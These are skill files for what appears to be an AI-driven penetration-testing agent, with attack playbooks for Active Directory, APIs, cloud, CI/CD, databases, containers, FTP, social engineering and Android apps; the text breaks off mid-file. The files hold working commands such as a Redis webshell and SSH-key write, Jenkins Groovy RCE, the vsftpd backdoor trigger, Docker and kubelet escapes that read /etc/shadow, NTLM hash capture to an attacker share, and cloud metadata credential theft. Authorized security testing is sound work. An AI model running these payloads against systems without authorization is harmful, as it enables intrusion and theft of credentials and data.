--- name: vuln-assess-phase tags: [vuln_assess] description: Vulnerability analysis — triage scanner output, verify manually, score with CVSS, mark false positives. Use when the current phase is VULN_ASSESS. --- # Vulnerability Analysis — Scan, Verify, Score Raw scanner output is 80% noise. This phase exists to VERIFY and PRIORITIZE, not to collect CVEs. ## Automated scan ``` nuclei -u TARGET -severity critical,high -t ~/nuclei-templates/ -json -o nuclei.json # authenticated nuclei when creds exist (10x coverage): -H 'Authorization: Bearer ...' nikto -h https://target -Format json -o nikto.json # web misconfig baseline ``` - Authenticated scans > anonymous scans everywhere (Nessus/OpenVAS/Nuclei): login first, then scan. - Parse into state with `nuclei_parse` — dedupes and links vulns to hosts automatically. ## Manual verification — MANDATORY before marking confirmed Every scanner hit gets one of: 1. **Confirmed** — reproduce manually, capture request/response as evidence 2. **False positive** — record WHY (version patched, control in place); don't just delete 3. **Needs auth/context** — defer to exploitation phase with the required creds attached Classic FP sources: version banners lying (custom builds), WAF returning 200 for everything, template regex matching error pages. ## CVSS scoring for prioritization `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` = 9.8 Critical - Prioritize by: exploitability (AV:N + no auth + public PoC) × impact, not by CVSS alone. - A 9.8 unauthenticated RCE beats a 9.1 post-auth one. An exposure with active in-the-wild exploitation (CISA KEV) beats both. ## Correlation across findings - 3 "medium" findings chaining to RCE = one "critical" attack path (`attack_path_suggest`). - Info leaks (versions, stack traces, .git exposure) feed other findings — chain them, don't score them isolated. ## Gotchas - Never report a vuln you could not reproduce — the retest will destroy client trust. - Keep scanner timing/rate in evidence: a DoS-looking outage during scan ruins the report. - Store evidence (PoC requests, screenshots) at confirmation time, not at reporting time.
- skills/playbooks/ad/SKILL.md (2323 bytes)
--- name: playbook-ad description: AD attack decision tree — which attacks need creds, delegation types, ADCS, key paths to DA. Load when a Windows domain / DC is found. Triggers - domain controller, Kerberos, LDAP, BloodHound, kerberoast, AS-REP, NTLM, ADCS ESC1-8. --- # Active Directory — Decision Tree ## Without credentials - **AS-REP Roasting**: accounts with "Do not require Kerberos preauthentication" → offline crack (hashcat -m 18200). No creds needed. - **Null session**: `enum4linux-ng -A DC` → user list for spray. - **Password spraying**: one password, many users. Lockout-safe: 1 attempt per 30+ min. Try `Season2024!`, `Company1!`. - **NTLM relay**: only if SMB signing disabled. ## With any valid user - **Kerberoasting**: any domain user can request TGS for SPN accounts → offline crack (hashcat -m 13100). Service accounts often have weak passwords. - **BloodHound**: `bloodhound-python -u USER -p PASS -d DOMAIN -c all` → shortest path to DA. - **GPP passwords**: `netexec smb DC -u USER -p PASS --gpp-passwords` — legacy, still found. ## Delegation abuse - **Unconstrained**: machine impersonates ANY user to ANY service. Coerce DC auth (PrinterBug/PetitPotam) → capture TGT → DCSync. - **Constrained**: impersonate users to SPECIFIC services via S4U2Self + S4U2Proxy. - **RBCD**: if you can write `msDS-AllowedToActOnBehalfOfOtherIdentity` → impersonate admin. Discover: `impacket-findDelegation DOMAIN/USER:PASS -dc-ip DC` ## ADCS — check IMMEDIATELY if present ESC1–ESC8, many give instant DA: - **ESC1**: enrollable template with SAN override → request cert as DA - **ESC4**: template owner → modify template → create ESC1 - **ESC8**: HTTP enrollment → NTLM relay to ADCS web endpoint Tool: `certipy find -u USER@DOMAIN -p PASS -dc-ip DC -vulnerable` ## Four classic paths to DA 1. AS-REP → crack → Kerberoast → crack SPN → ACL path → DA 2. Spray → creds → BloodHound → ACL abuse (GenericAll/WriteDACL) → DA 3. Null session → user list → spray → delegation abuse → DA 4. NTLM relay → local admin → cred dump → lateral → DCSync ## DCSync (endgame) Requires "Replicating Directory Changes" rights: `impacket-secretsdump DOMAIN/USER:PASS@DC` → all domain hashes + krbtgt. With krbtgt hash → Golden Ticket → persistent DA.
- skills/playbooks/api/SKILL.md (3001 bytes)
--- name: playbook-api description: API security testing — OWASP API Top 10, BOLA/IDOR chains, mass assignment, excessive data exposure, rate limiting. Load when target is a REST/GraphQL/JSON API (incl. mobile backend). tags: [vuln_assess, exploitation] --- # API Pentest — OWASP API Top 10 APIs fail differently than web apps: no UI to fuzz, auth is token-based, objects are addressable by ID. Test the OBJECT layer, not just the endpoint. ## #1 BOLA / IDOR — test EVERY object reference The single most common API finding. For each endpoint returning object data: 1. Grab a valid object ID (your own, from responses) 2. Swap in another user's ID — same token 3. Also try: sequential IDs, UUID prediction, deleted IDs, other ID formats ``` # automate once endpoints are known for id in $(seq 1 500); do curl -s -H "Authorization: Bearer $TOK" https://api.t/v1/orders/$id | head -c 200 done ``` - Horizontal (same role, other user) AND vertical (user token → /admin/*) both ways. - GraphQL: query nesting abuse — `{ user(id: 1) { friends { ssn } } }`, batching attacks. ## #2 Broken auth on API - Token: no expiry, no rotation, `alg:none`, JWT key confusion, refresh token reuse detection absent. - OAuth: redirect_uri manipulation, `state` missing, scope escalation. - Password reset flows keyed by enumerable identifiers. ## #3 Mass assignment Send extra fields in the create/update body: `{"role":"admin","verified":true,"balance":9999}`. Frameworks bind blindly (Rails `attr_accessible`, Spring `@ModelAttribute`, Mongoose strict:false). Test on register, profile update, and EVERY PATCH. ## #4 Excessive data exposure Compare response schemas between users. Common leaks: password hashes, internal IDs, other users' PII in list endpoints, `debug:true` payloads, full object when UI shows 3 fields. Diff admin-vs-user responses field by field. ## #5 Rate limiting & resource abuse - Login/OTP endpoints without lockout → brute force / SMS bombing (report, don't run to exhaustion). - Unbounded pagination (`?limit=1000000`), unbounded file upload, unauthenticated expensive queries (ReDoS, GraphQL depth). ## #6 Injection surface - Params in URL, headers (`X-Forwarded-For`, custom trace headers), and JSON body — all three. - SSTI/NoSQL/SQLi/SSRF payloads adapted per content-type; `Content-Type` switch (json→xml) can unlock XXE. ## Methodology order 1. Map: `/openapi.json`, `/swagger.json`, `/graphql` introspection, mobile app traffic (pair with `svc-mobile-android`) 2. Enumerate object IDs per resource → BOLA sweep 3. Authz matrix: role × endpoint (collect tokens for each role available) 4. Mass assignment on every write endpoint 5. Response schema diff per role 6. Rate limits, injection, transport (TLS, cert pinning on mobile side) ## Evidence for report One curl + response pair per finding, showing: victim object belongs to user A, attacker token = user B. Include the exact reproduction steps — API findings retest easily, keep them scriptable. - skills/playbooks/cloud/SKILL.md (2662 bytes)
--- name: playbook-cloud description: Cloud IAM privesc paths and metadata endpoints per provider. Load when the target is cloud or you obtain cloud creds/metadata. Triggers - AWS/GCP/Azure, IAM, S3/blob, 169.254.169.254, access key. --- # Cloud — Privesc Paths & Metadata ## Metadata endpoints (different per cloud!) **AWS IMDSv1** (no header): `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` **AWS IMDSv2** (requires token): ``` TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token) curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/ ``` **GCP** (requires header): `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` **Azure** (requires header): `curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"` IMDSv1 vs v2 matters: v1 = any SSRF gives cloud creds. v2 requires PUT first (harder via SSRF). ## AWS IAM privesc — dangerous permission combos - `iam:CreatePolicyVersion` → attach admin policy to self - `iam:AttachUserPolicy` → attach AdministratorAccess - `lambda:CreateFunction` + `iam:PassRole` → execute as privileged role - `sts:AssumeRole` → pivot to cross-account roles - `ec2:RunInstances` + `iam:PassRole` → launch instance with admin role Tools: `pacu` (automated), `pmapper` (permission graph) ## GCP privesc - Default compute SA often has `editor` (overprivileged) - `iam.serviceAccountKeys.create` → generate key for any SA - `cloudfunctions.functions.create` + `iam.serviceAccounts.actAs` → RCE as SA - Check for `allUsers`/`allAuthenticatedUsers` bindings (public access) ## Azure privesc - Managed Identity with broad role assignments - `Contributor` → deploy resources, potentially read Key Vault - App Registration with high API permissions + admin consent - Automation account runbooks → execute as automation identity ## What to check everywhere - Public storage (S3/GCS/Blob) — `--no-sign-request` / anonymous - Secrets in repos / CI variables / build logs - User-data scripts (bootstrap credentials) - MFA not enforced on admin accounts - Audit logging disabled or misconfigured ## Post-creds audit tools - **AWS**: `pacu` (exploitation framework, modular), `pmapper` (privesc graph) - **Multi-cloud posture**: `scoutsuite` (inventory + misconfig report per provider), `prowler` (AWS/GCP/Azure compliance checks, CIS benchmarks) - Run posture scan FIRST after getting creds — misconfig findings often beat privesc chains.
- skills/playbooks/methodology/SKILL.md (2961 bytes)
--- name: playbook-methodology description: Engagement-level methodology reference — PTES/OWASP/NIST/OSSTMM mapping, rules of engagement, legal boundaries, evidence handling, cleanup. Load at engagement START or when scope/authorization questions arise. tags: [scope_check] --- # Methodology & Rules of Engagement ## Framework map (pick per engagement type) | Framework | Use when | |---|---| | **PTES** | Full-scope pentest — the 7-phase spine (intel → recon → mapping → vuln → exploit → post-ex → report) | | **OWASP Testing Guide** | Web/API focus — test cases per vuln class | | **NIST SP 800-115** | Client requires a recognized US standard / structured technical assessment | | **OSSTMM** | Metrics-driven assessment, need auditable coverage percentages | | **MITRE ATT&CK** | Map findings to real adversary TTPs — report impact as "an attacker would do X" | ## BEFORE any action — non-negotiable 1. **Written authorization** exists, signed by someone who can authorize the target. Verbal = no test. 2. **Scope**: exact IPs/domains/ranges, exclusions, test window, allowed techniques. Feed to `scope_check` — every tool invocation checks against it. 3. **Rules of engagement**: scan rates, DoS limits, social-engineering allowed?, physical allowed?, data handling clause, emergency contact. 4. **Third parties**: cloud shared-responsibility boundaries, subsidiaries, partners' infra — out of scope unless explicitly named. 5. Legal frame: client contract + local law (Convention Budapest / national cybercrime law) supersedes any methodology. ## During the test - Log every action (command, timestamp, target) — your log is the defense if something breaks. - Rate-limit scanners and brute force; assume any outage is YOURS until proven otherwise. - Collect the minimum data needed to prove impact; encrypt findings at rest; never exfil real customer data to personal storage. - Compromise of an out-of-scope system, even accidental: stop, secure it, disclose to client immediately. - Out-of-band callbacks: use your own infrastructure (interactsh/ollin), never third-party domains. ## AFTER the test — cleanup - Remove: shells/backdoors, dropped files, created accounts, cron/persistence, SSH keys, test data injected. - Verify cleanup: re-check every host touched; note anything that cannot be removed safely (and why). - Revoke/deliver credentials found — do NOT reuse them post-engagement. ## Report shape (PTES-aligned) 1. Executive summary (business language, no vuln names) 2. Findings: severity (CVSS + exploitability), evidence, step-by-step reproduction, remediation 3. Attack narrative: how the kill chain connected findings (ATT&CK-mapped) 4. Coverage & methodology (what was and was NOT tested) 5. Remediation roadmap prioritized by risk, not by tool order ## Retest Fixes → retest ONLY the affected findings → upgrade/downgrade status in engagement state (`state_update`) → short addendum report.
- skills/playbooks/social-engineering/SKILL.md (2703 bytes)
--- name: playbook-social-engineering description: Social engineering assessment — phishing campaigns, vishing, physical tests, GoPhish setup. Load when the engagement scope explicitly includes social engineering or physical testing. tags: [vuln_assess] --- # Social Engineering — Phishing, Vishing, Physical HARD GATE: this playbook requires the RoE to EXPLICITLY name social engineering/physical testing, the exact target population size, and data-handling rules. If the scope is silent → DO NOT run, ask the operator to confirm authorization. ## Phishing (GoPhish) 1. **Pretext selection** from OSINT (recon phase): org tools, HR processes, recent events (reorg, new VPN, survey, invoice). 2. **Infrastructure**: own domain similar to org's, SPF/DKIM/DMARC properly set (deliverability), dedicated sending IPs warmed up, URL shorteners avoided (flagged). 3. **Payload tiers** (escalate only if authorized): credential harvest page (clone org login, HTTPS, valid cert) → macro doc → link to landing. 4. **Campaign metrics**: sent / opened / clicked / submitted / creds validated. Report EACH — click-through is the real risk indicator, not submissions. 5. **Timing**: Tue-Thu 09:00-11:00 local typically highest engagement; avoid month-end (finance busy, but BEC tests may target it deliberately — RoE call). ## Vishing - Same pretext as the phishing campaign; call targets who clicked but didn't submit ("IT follow-up"). - OTP/2FA social-engineering: "read me the code you just received" is the highest-impact finding possible — proves full account takeover. - Record calls ONLY if RoE allows (consent laws vary by jurisdiction — check two-party consent). ## Physical - Tailgating at badge-controlled entrances, badge cloning (Proxmark), lock picking, dumpster diving, USB drops. - Escort rules and safety: never confrontation, abort word agreed, no bypassing locks that damage property. - Environmental findings count: whiteboards, unlocked screens, unattended reception, printed creds. ## Reporting angle - Map each success to impact: "phished creds → mailbox access → BEC risk" with ATT&CK T1566/T1534/T1556. - Compare results by department — one department at 40% submission rate = targeted training recommendation. - NEVER store harvested real credentials beyond the engagement; hash/redact in report, deliver for reset. ## GoPhish quick start ``` gophish serve # admin panel, default :3333 # landing page: clone org login (view-source → save), strip JS noise # email template: org branding + tracking pixel # sending profile: SMTP creds per RoE (dedicated domain, not client's) ``` Results CSV → engagement state as findings, not spreadsheet-only. - skills/playbooks/webapp/SKILL.md (2488 bytes)
--- name: playbook-webapp description: Web application pentest methodology + ROUTER to the per-vuln-class web skills. Load at the START of systematic web testing to get the phase flow (recon → map → test-by-OWASP-class → prove → report) and pick which web-<class> skill to load for each surface. Use on any web app / HTTP API engagement. tags: [vuln_assess, exploitation] --- # Web App Pentest — methodology + skill router This is the ORDER of operations and the map to the deep skills. Each vuln CLASS has a dedicated `web-<class>` skill with exact payloads + detect→exploit→PROVE — load the one matching the surface; don't test from this index. ## 1. Recon + active scan FIRST Fingerprint stack+version (whatweb/httpx, headers), CMS (wpscan/etc.), APIs (/swagger, /graphql, /.well-known). Then a content-matched `nuclei -u <t>` pass BEFORE exhaustive dir-fuzz (framework-runtime RCEs don't appear as routes) → `nuclei_parse`. Version + a known CVE → fetch & vet a public PoC (shared exploitation methodology). ## 2. Map (hidden surface, AFTER the scan) `ffuf`/`gobuster` (→ `gobuster_parse`), vhosts (`ffuf -H Host:FUZZ`), params (`arjun`), auth endpoints (login/register/reset/OAuth), API routes. Review client-side JS for endpoints/secrets. ## 3. Test by class → load the matching skill | Signal / surface | Load | |---|---| | param → DB query, SQL error/differential | **web-sqli** | | input renders in a server template ({{7*7}}) | **web-ssti** | | server fetches a URL you control (webhook/proxy/import) | **web-ssrf** | | file param / download / `../` reflection | **web-lfi-traversal** | | file upload sink | **web-upload-rce** | | XML/SOAP/SAML/DOCX/SVG parsing | **web-xxe** | | serialized blob (rO0/O:/VIEWSTATE/pickle) | **web-deserialization** | | object IDs, roles, JWT, admin funcs | **web-auth-bypass-idor** | | known framework+version CVE | shared exploitation methodology + searchsploit/nuclei | Also-check (no dedicated skill yet): XSS (`dalfox`, `xss_detect`), command injection (`;id`/`$(id)`), CSRF, CORS/security-headers, crypto/secrets-in-JS, business-logic/race conditions. ## 4. PROVE + Report A finding is `suspected` until you reproduce concrete impact (dumped canary row / `id` / file bytes / cloud creds / cross-user data) — then `add_vuln` `confirmed` with the evidence. Never mark a host resolved/"safe" without a completed active scan. Report: reproduction steps + request/response evidence + CVSS + OWASP-WSTG mapping. - skills/services/cicd/SKILL.md (1463 bytes)
--- name: svc-cicd description: CI/CD gotchas — default creds, instant-RCE paths, secret leaks in logs. Use when a CI/CD service is found. Triggers - Jenkins, GitLab, ArgoCD, Vault, pipeline, runner token. --- # CI/CD — Gotchas & Quick Wins ## Jenkins = RCE if /script is open `curl -d 'script=println+"id".execute().text' http://TARGET:8080/script` No auth needed if Groovy console is exposed. Check `/script` FIRST. Default creds: `admin/admin`, `admin/password`, `admin/jenkins`. Credential extraction (authenticated): Groovy → `SystemCredentialsProvider.getInstance().getCredentials()`. ## GitLab — version-dependent RCE - **CVE-2021-22205** (11.9–13.10.3): RCE via image upload (ExifTool) - **CVE-2023-7028**: Account takeover via password reset Check version: `curl -s TARGET/api/v4/version` Stolen API token → `curl -H "PRIVATE-TOKEN: ..." .../api/v4/projects?membership=true` → repos/snippets for secrets. ## ArgoCD default creds Default: `admin` / pod name (`argocd-server-<hash>`). Often unchanged. ## Vault — check seal status first `curl TARGET:8200/v1/sys/health` — unsealed + initialized = live secrets. With root token: `curl -H "X-Vault-Token: ..." TARGET:8200/v1/secret/data/` ## Where secrets leak - Build/pipeline logs (plaintext env vars, tokens, passwords) - `.env`, `docker-compose.yml`, `Jenkinsfile`, `.gitlab-ci.yml` in repos - Runner/agent tokens in pod environments - Registry credentials (Docker Hub, ECR, GCR)
- skills/services/database/SKILL.md (1534 bytes)
--- name: svc-database description: Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017. --- # Database — RCE & Escalation Paths Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters. ## MySQL → RCE via UDF Requires FILE privilege + write access to plugin dir. Upload `lib_mysqludf_sys.so` → `SELECT sys_exec('id')`. Also: `SELECT LOAD_FILE('/etc/passwd')` for file read. ## PostgreSQL → RCE via COPY TO PROGRAM Requires superuser: `COPY (SELECT '') TO PROGRAM 'id';` Alternative: large object import/export for file read/write. ## MSSQL → xp_cmdshell If disabled (common): `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;` Then: `EXEC xp_cmdshell 'whoami';` Hash capture: `EXEC xp_dirtree '\\ATTACKER\share';` → catch with Responder. ## Redis no-auth → RCE (two methods) **SSH key write:** ``` CONFIG SET dir /root/.ssh CONFIG SET dbfilename authorized_keys SET payload "\n\nssh-rsa AAAA...your_key...\n\n" SAVE ``` **Webshell (if web server co-hosted):** ``` CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']); ?>" SAVE ``` ## MongoDB / Elasticsearch — no auth = full dump Both default to no authentication. Connect and enumerate immediately. ## Default creds worth trying MySQL: `root` (no password), `root/root`. PostgreSQL: `postgres`/(empty). MSSQL: `sa`/(empty or common). - skills/services/docker-k8s/SKILL.md (2593 bytes)
--- name: svc-docker-k8s description: Docker/Kubernetes attack techniques — exposed API abuse, container escape, RBAC/privileged-pod issues, secret theft. Use when a container/orchestration surface is found. Triggers - Docker 2375/2376, Kubernetes API 6443, kubelet 10250, etcd 2379, /version, privileged pod, service-account token, docker.sock. --- # Docker & Kubernetes Attack Reference ## Docker API (2375/2376) ```bash # Check for exposed Docker daemon curl http://<target>:2375/version curl http://<target>:2375/containers/json # RCE via container creation curl -X POST http://<target>:2375/containers/create \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh","-c","cat /etc/shadow"],"Binds":["/:/mnt"],"Privileged":true}' # Then start and read logs curl -X POST http://<target>:2375/containers/<id>/start curl http://<target>:2375/containers/<id>/logs?stdout=true ``` ## Container Escape ```bash # Check if inside container cat /proc/1/cgroup | grep -i docker ls -la /.dockerenv # Privileged container escape fdisk -l # can see host disks? mount /dev/sda1 /mnt && chroot /mnt # Docker socket mounted ls -la /var/run/docker.sock docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it alpine chroot /mnt # CVE-2019-5736 (runc <1.0-rc6): overwrite runc binary from container ``` ## Kubernetes API (6443/8443) ```bash # Unauthenticated access curl -k https://<target>:6443/api curl -k https://<target>:6443/api/v1/namespaces curl -k https://<target>:6443/api/v1/pods curl -k https://<target>:8443/version # With token (from pod service account) TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/secrets # kubelet API (10250) curl -k https://<target>:10250/pods curl -k https://<target>:10250/run/<namespace>/<pod>/<container> -d "cmd=id" ``` ## K8s RBAC Abuse ```bash # Check permissions kubectl auth can-i --list kubectl auth can-i create pods # Pod with host mount (if create pods allowed) kubectl apply -f - <<EOF apiVersion: v1 kind: Pod metadata: name: pwned spec: containers: - name: pwned image: alpine command: ["/bin/sh","-c","cat /host/etc/shadow"] volumeMounts: - mountPath: /host name: hostfs volumes: - name: hostfs hostPath: path: / EOF ``` ## etcd (2379) ```bash # Unauthenticated etcd — contains all K8s secrets etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix ``` - skills/services/ftp/SKILL.md (973 bytes)
--- name: svc-ftp description: FTP version exploits — vsftpd backdoor, ProFTPD mod_copy, writable upload→shell chain. Use when FTP is open. Triggers - port 21, vsftpd 2.3.4, ProFTPD mod_copy. --- # FTP — Version Exploits & Chains ## vsftpd 2.3.4 — backdoor Send `:)` in username → backdoor shell opens on port 6200. `echo -e "USER evil:)\nPASS anything" | nc TARGET 21` then `nc TARGET 6200` ## ProFTPD mod_copy — unauthenticated file copy ProFTPD <1.3.5b. No login needed: ``` nc TARGET 21 SITE CPFR /etc/passwd SITE CPTO /var/www/html/leak.txt ``` Then `curl http://TARGET/leak.txt`. Can also copy SSH keys, webshells into web roots. ## Writable FTP + web server = shell If anonymous upload works AND a web server serves the same directory: upload shell via FTP → trigger via HTTP. ## Anonymous login variants Try: `anonymous`/`anonymous@`, `anonymous`/(empty), `ftp`/`ftp`. Always `ls -la` and try `cd ..` — parent directories sometimes accessible.
- skills/services/mobile-android/SKILL.md (11616 bytes)
--- name: svc-mobile-android description: Android APK static analysis — OWASP Mobile Top 10, Retrofit API audit, transport security, smali reading, component export, auth flow analysis. Use when target is an APK/Android app. Triggers - APK, Android, mobile app, decompiled, smali, jadx, apktool. --- # Android APK Static Analysis — Full Methodology Load this skill when the target is an Android APK (decompiled or not). This covers SAST — for dynamic testing (Frida, MITM), combine with `playbook-webapp`. ## Task Decomposition — MANDATORY An APK audit is NOT one grep job. Decompose into these independent tasks (run in parallel): 1. **API Security Audit** — read ALL Retrofit/API interface files, find sensitive data in URLs 2. **Transport Security** — network_security_config, certificate pinning, cleartext 3. **Auth Flow Analysis** — full auth chain, session management, token handling 4. **Component Security** — exported activities/receivers/providers/services, intent filters, deep links 5. **Build Hygiene** — debug flags, dev tools in production, staging endpoints, logging 6. **Secrets & Crypto** — hardcoded keys (but FILTER non-issues — see Known Non-Vulns below) 7. **Data Storage** — SharedPreferences, Room/SQLite, file storage, backup flags 8. **Root/Tamper Detection** — what's present AND what's MISSING ## How to Read Decompiled Code ### Smali basics (you'll see this from apktool/baksmali) ``` .method public someMethod(Ljava/lang/String;)V # method signature invoke-virtual {v0}, Lcom/example/Foo;->bar()V # method call const-string v1, "hardcoded_value" # string constant sget-object v0, Lcom/example/Config;->API_KEY:Ljava/lang/String; # static field ``` ### Retrofit annotations in smali (THE most important pattern) ```smali # @GET("endpoint") — HTTP method + path .annotation runtime Lretrofit2/http/GET; value = "auth/password" .end annotation # @Query("password") — parameter goes in URL query string! .annotation runtime Lretrofit2/http/Query; value = "password" .end annotation # @QueryMap — ALL params go in URL query string! .annotation runtime Lretrofit2/http/QueryMap; .end annotation # @Body — parameter goes in request body (SAFE) .annotation runtime Lretrofit2/http/Body; .end annotation # @Field — parameter goes in form body (SAFE) .annotation runtime Lretrofit2/http/Field; value = "password" .end annotation # @Header — parameter sent as HTTP header .annotation runtime Lretrofit2/http/Header; value = "Authorization" .end annotation ``` **CRITICAL CHECK**: Any `@Query`/`@QueryMap` on a POST/PUT that carries sensitive data (password, PIN, OTP, token) = **CRITICAL** finding. Sensitive data in URL is logged everywhere (server access logs, proxies, CDNs, browser history, HTTP interceptors). ### Jadx output (Java-like, easier to read) ```java @POST("auth/password") Call<AuthResponse> login(@QueryMap Map<String, String> params); // ^ This means login credentials go in URL query string = CRITICAL ``` ## Checklist: OWASP Mobile Top 10 ### M1: Improper Platform Usage - [ ] Exported components without permission protection - [ ] Deep links with sensitive actions (password reset, transfers) - [ ] Content providers with `grant-uri-permissions` or no read/write permission - [ ] Intent filters on activities that handle sensitive data - [ ] `android:debuggable="true"` in manifest - [ ] `android:allowBackup="true"` (data extractable via ADB) - [ ] `android:usesCleartextTraffic="true"` ```bash grep -r 'exported="true"' resources/AndroidManifest.xml grep -r 'android:debuggable' resources/AndroidManifest.xml grep -r 'allowBackup' resources/AndroidManifest.xml ``` ### M2: Insecure Data Storage - [ ] Sensitive data in SharedPreferences (tokens, passwords, PII) - [ ] Unencrypted SQLite/Room databases with sensitive data - [ ] Sensitive data in external storage - [ ] Logging of sensitive data (Log.d/Log.i with tokens/credentials) ```bash # SharedPreferences usage grep -rn "SharedPreferences\|getSharedPreferences\|PreferenceManager" sources/ # Logging sensitive data grep -rn "Log\.\(d\|i\|v\|w\|e\)" sources/ | grep -i "token\|password\|secret\|key\|auth" # External storage grep -rn "getExternalStorage\|EXTERNAL_STORAGE\|Environment.getExternalStorageDirectory" sources/ ``` ### M3: Insecure Communication - [ ] **Certificate pinning** — check network_security_config.xml for `<pin-set>` elements - [ ] **Cleartext traffic** — `cleartextTrafficPermitted` should be false - [ ] **Custom TrustManager** — accepting all certs (X509TrustManager with empty checkServerTrusted) - [ ] **HostnameVerifier** — custom verifier that always returns true - [ ] **WebView** — `setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW)` ```bash # Certificate pinning grep -r "pin-set\|CertificatePinner\|sha256/" resources/ sources/ # Trust all certs grep -rn "X509TrustManager\|checkServerTrusted\|TrustAllCerts\|ALLOW_ALL" sources/ # Hostname verifier bypass grep -rn "HostnameVerifier\|ALLOW_ALL_HOSTNAME_VERIFIER\|verify.*return true" sources/ ``` ### M4: Insecure Authentication - [ ] Auth credentials in URL query params (`@Query`/`@QueryMap` on auth endpoints) - [ ] Biometric auth without server-side validation (local-only bypass) - [ ] Hardcoded credentials (admin/password patterns in code) - [ ] Token storage (where is the auth token kept? SharedPrefs? Encrypted?) - [ ] Session timeout — is there an expiry? Auto-logout? - [ ] PIN/pattern stored locally (hash vs plaintext) ```bash # Find all API interface files (Retrofit) find sources/ -name "*Api*" -o -name "*Service*" -o -name "*Endpoint*" | grep -i "\.java$\|\.smali$" # Query params on auth grep -A5 "@Query\|@QueryMap" sources/ | grep -B2 -i "password\|pin\|otp\|sms\|token\|secret" ``` ### M5: Insufficient Cryptography - [ ] Hardcoded encryption keys/IVs - [ ] ECB mode (patterns leak through encryption) - [ ] MD5/SHA1 for security-critical operations - [ ] Custom crypto implementations - [ ] Weak key derivation (no PBKDF2/bcrypt/scrypt) ```bash grep -rn "AES/ECB\|DES\|RC4\|Cipher.getInstance" sources/ grep -rn "MessageDigest.getInstance.*MD5\|MessageDigest.getInstance.*SHA-1" sources/ grep -rn "SecretKeySpec\|IvParameterSpec" sources/ | grep -i "hardcoded\|static\|final" ``` ### M6: Insecure Authorization - [ ] Client-side authorization checks only (role checks in app, not server) - [ ] IDOR — predictable/sequential IDs in API calls (transfer confirm by ID) - [ ] Missing server-side validation on state transitions ```bash # Find operations that use simple IDs grep -rn '@Query("id")\|@Path("id")' sources/ ``` ### M7: Client Code Quality - [ ] Debug code in production (WebView debugging, Chucker, Stetho, LeakCanary, Flipper) - [ ] Development/staging endpoints in production code - [ ] Verbose error messages exposing internal details - [ ] Test accounts or bypass codes ```bash # Debug tools in production grep -rn "setWebContentsDebuggingEnabled\|ChuckerInterceptor\|Stetho\|LeakCanary\|Flipper" sources/ # Dev/staging URLs grep -rn "staging\|\.dev/\|localhost\|10\.0\.\|192\.168\.\|debug" sources/ resources/ ``` ### M8: Code Tampering - [ ] Root/jailbreak detection (RootBeer, custom checks for `su`, Superuser.apk) - [ ] Frida/Xposed detection - [ ] Emulator detection (how robust? Package name checks only = weak) - [ ] Integrity verification (SafetyNet/Play Integrity, PairIP) - [ ] Debugger detection (anti-debug techniques) ```bash # Root detection grep -rn "RootBeer\|isRooted\|/system/app/Superuser\|/system/xbin/su\|test-keys" sources/ # Frida detection grep -rn "frida\|xposed\|substrate\|Magisk" sources/ # Emulator detection grep -rn "generic\|goldfish\|sdk_gphone\|emulator\|genymotion\|bluestacks" sources/ ``` ### M9: Reverse Engineering - [ ] Obfuscation level (ProGuard/R8/DexGuard) - [ ] Native code protection (if any) - [ ] String encryption ### M10: Extraneous Functionality - [ ] Admin/debug endpoints accessible from client - [ ] Hidden features triggered by config flags - [ ] Logging/analytics sending sensitive data ## Build Artifact Forensics ### Dagger/Hilt DI Graph Read the DI component files to find what's wired into the app: ```bash # Find DI modules find sources/ -name "*Module*" -o -name "*Component*" | grep -i "dagger\|hilt\|di\|inject" # Look for interceptors in OkHttp chain grep -rn "Interceptor\|addInterceptor\|addNetworkInterceptor" sources/ ``` Chucker/Stetho/Flipper interceptors in the OkHttp chain = HIGH (logs all HTTP traffic). ### Network Configuration Analysis ```bash # Full network security config cat resources/res/xml/network_security_config.xml # Check for domain-config entries (dev/staging domains?) grep -r "domain-config\|includeSubdomains\|cleartextTrafficPermitted" resources/ ``` ### Permission Audit Map each permission to its justification. Flag excessive: - `READ_CONTACTS` / `READ_CALL_LOG` — legitimate for banking? - `QUERY_ALL_PACKAGES` — anti-emulator, but privacy concern - `RECORD_AUDIO` — voice banking or unnecessary? - `ACCESS_FINE_LOCATION` — branch locator or tracking? ## API Surface Mapping — MANDATORY for Banking Apps Read ALL Retrofit API interface files and build a complete endpoint map: ```bash # Find all API interfaces find sources/ -name "*Api*" | grep -v "test\|mock\|fake" # Extract HTTP methods and paths grep -rn "@GET\|@POST\|@PUT\|@PATCH\|@DELETE\|@HTTP" sources/ ``` For each endpoint, note: - HTTP method + path - How params are passed (`@Query` = URL, `@Body` = body, `@Field` = form) - Auth mechanism (header token? cookie?) - Sensitive data exposure Endpoints to focus on: auth, transfers, payments, password management, profile changes. ## Known Non-Vulnerabilities (FALSE POSITIVES — do NOT report as findings) These are NOT findings — downgrade to INFO or skip: - **Firebase/Google API keys** in resources — required client-side, public by design - **Google Maps API key** — public, restricted by package name - **reCAPTCHA site key** — public by design (appears in HTML on every reCAPTCHA page) - **GCM/FCM sender ID, OneSignal app ID** — public identifiers - **RSA/EC public keys** for pinning/license/JWT verification — public by definition - **Package name, version code, build config** — not secrets - **Obfuscated class names** — obfuscation is defense, not a vuln These BECOME findings only when: - API key grants server-side write access (Firebase Storage write, 